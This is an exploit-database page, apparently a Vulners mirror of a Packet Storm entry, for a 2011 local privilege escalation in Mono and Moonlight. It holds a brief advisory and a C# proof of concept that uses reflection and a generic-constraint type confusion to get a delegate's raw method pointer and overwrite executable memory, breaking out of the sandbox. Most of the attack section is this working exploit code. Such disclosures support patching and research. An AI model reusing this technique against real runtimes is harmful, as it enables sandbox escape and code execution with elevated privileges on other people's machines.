Lucene search
K

Mono/Moonlight Local Privilege Escalation

🗓️ 11 Jan 2011 00:00:00Reported by Chris HowieType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 40 Views

Mono/Moonlight Local Privilege Escalatio

Related
Code
`Mono and Moonlight is prone to a local privilege-escalation vulnerability.  
  
Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer.  
  
PoC:  
  
using System;  
using System.Reflection;  
using System.Runtime.InteropServices;  
  
public class DelegateWrapper {  
public IntPtr method_ptr;  
}  
  
public delegate void MethodWrapper ();  
  
public class BreakSandbox {  
private static DelegateWrapper Convert <T> (T dingus) where T :  
DelegateWrapper {  
return dingus;  
}  
  
private static DelegateWrapper ConvertDelegate (Delegate del) {  
var m = typeof (BreakSandbox).GetMethod ("Convert",  
BindingFlags.NonPublic | BindingFlags.Static);  
var gm = m.MakeGenericMethod (typeof (Delegate));  
  
var d = (Func <Delegate, DelegateWrapper>) Delegate.CreateDelegate  
(typeof (Func <Delegate, DelegateWrapper>), null, gm);  
  
return d (del);  
}  
  
public static void Main (string [] args) {  
MethodWrapper d = delegate {  
Console.WriteLine ("Hello");  
};  
  
d ();  
var converted = ConvertDelegate (d);  
// Overwrite the already WX page with a 'ret'  
Marshal.WriteByte (converted.method_ptr, (byte) 0xc3);  
d ();  
}  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation